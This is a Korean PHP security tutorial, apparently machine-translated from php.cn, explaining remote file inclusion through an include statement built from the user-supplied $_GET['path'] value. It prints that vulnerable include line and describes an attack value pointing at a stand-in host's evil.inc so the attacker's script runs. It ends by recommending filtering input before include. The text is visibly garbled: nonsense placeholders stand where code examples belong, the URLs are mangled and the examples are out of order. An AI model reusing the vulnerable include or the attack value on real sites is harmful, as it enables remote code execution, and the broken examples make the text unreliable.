특히 위험한 상황은 오염된 데이터를 동적 포함의 주요 부분으로 사용하려고 할 때입니다.
<?php include "{$_GET['path']}/header.inc"; ?>
이 시나리오에서 공격자는 파일 이름뿐만 아니라 포함된 리소스도 조작할 수 있습니다. PHP는 기본적으로 파일을 포함할 수 있을 뿐만 아니라 다음 리소스도 포함할 수 있습니다(구성 파일에서 허용_url_fopen으로 제어됨):
아아앙
이때 include 문에는 http://www.php.cn/의 웹페이지 소스 코드가 로컬 파일로 포함됩니다. 위의 예는 무해하지만 GOOGLE에서 반환한 소스 코드에 PHP 코드가 포함되어 있으면 어떻게 될지 상상해 보세요. 이렇게 하면 그 안에 포함된 PHP 코드가 구문 분석되고 실행됩니다. 이는 공격자가 보안 시스템을 무력화하기 위해 악성 코드를 공개할 수 있는 기회입니다.
경로 값이 다음 공격자가 제어하는 리소스를 가리킨다고 가정해 보세요.
http://www.php.cn/ ... e.org%2Fevil.inc%3F
위 예에서 path 값은 URL로 인코딩되었으며 원래 값은 다음과 같습니다.
http://www.php.cn/
이로 인해 include 문은 공격자가 선택한 스크립트(evil.inc)를 포함하고 실행하게 되며 원본 파일 이름/header.inc는 요청 문자열로 간주됩니다:
아아앙
이렇게 하면 공격자가 나머지 디렉터리와 파일 이름(/header.onc)을 추측하고 evil.example.org에 동일한 경로와 파일 이름을 생성할 필요가 없습니다. 반대로, 공격받은 웹사이트의 특정 파일 이름이 차단되면 evil.inc가 실행하려는 합법적인 코드를 출력하는지 확인하기만 하면 됩니다.
이러한 상황은 공격자가 귀하의 웹사이트에서 직접 PHP 코드를 수정하도록 허용하는 것만큼 위험합니다. 다행히도 include 및 require 문 이전에 데이터를 필터링하면 이를 방지할 수 있습니다.
<?php include 'http://www.google.com/'; ?>
위 내용은 PHP 보안코드 삽입 내용이며, 보다 자세한 내용은 PHP 중국어 홈페이지를 참고하시기 바랍니다. (www.php.cn)!